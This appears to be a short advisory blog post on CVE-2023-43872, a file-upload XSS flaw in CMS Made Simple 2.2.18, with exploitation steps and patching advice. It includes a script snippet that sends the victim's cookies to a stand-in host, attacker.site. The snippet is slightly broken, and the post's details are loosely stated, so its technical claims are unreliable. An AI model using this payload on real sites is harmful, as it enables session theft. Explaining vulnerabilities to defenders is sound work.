A newly discovered vulnerability, identified as CVE-2023-43872, has been found in CMSmadesimple v.2.2.18, which allows local attackers to upload malicious PDF files. This vulnerability enables local attackers to execute Cross-Site Scripting (XSS) attacks, potentially putting the security and privacy of CMS users at significant risk. In this post, we will discuss the technical details behind this vulnerability, a brief code snippet illustrating the issue, and mitigation steps to safeguard your CMS system.

Technical Details

The vulnerability resides in the file upload functionality of CMSmadesimple. A local attacker can exploit this flaw by uploading a maliciously crafted PDF file that contains hidden XSS payloads. Once uploaded, any user who views the PDF file may become a victim of the XSS attack, allowing the attacker to execute arbitrary JavaScript code in the context of the victim's browser.

The following code snippet showcases how the vulnerability can be exploited

<html>
<head>
    <title>Malicious PDF</title>
</head>
<body>
    <h1>Sample Malicious PDF</h1>
    <script type="text/javascript">
        window.location = "http://attacker.site/collect.php?cookies="; + encodeURIComponent(document.cookie);
    </script>
</body>
</html>

In the code snippet above, an attacker has embedded JavaScript code that when executed, will redirect the victim to the attacker's site (attacker.site) along with the victim's cookies. The attacker can then steal sensitive information like session cookies to impersonate the user and perform various actions on their behalf that could compromise their privacy and security.

Original References

- CVE-2023-43872 - NVD Detail
- CMSmadesimple Security Announcement

The vulnerability itself can be exploited through a simple, two-step process

1. First, an attacker must craft a malicious PDF file containing the hidden XSS payload, such as the code snippet shown earlier in this post.
2. Once the malicious PDF is created, the attacker can take advantage of the file upload vulnerability in CMSmadesimple v.2.2.18 to upload the PDF to the server.

It is essential to note that this vulnerability requires the attacker to have local access to the system, meaning they must have an account on the CMS and the necessary privileges to upload files.

Mitigation

CMSmadesimple has already released a patch to address this vulnerability. Users running v.2.2.18 of the software should immediately upgrade to a fixed version, which can be found in their October 7th, 2023 security release.

Additionally, users should follow security best practices regarding user access and privileges, limiting the number of users with permission to upload files and diligently vetting those who do have these privileges.

In closing, although CVE-2023-43872 poses a genuine security risk to users of CMSmadesimple v.2.2.18, the issue can be mitigated through timely patching and adherence to proper security practices. By understanding the nature of this vulnerability and taking action to protect their systems, users can help ensure the confidentiality, integrity, and availability of their data.

Timeline

Published on: 09/28/2023 14:15:24 UTC
Last modified on: 10/30/2023 19:45:30 UTC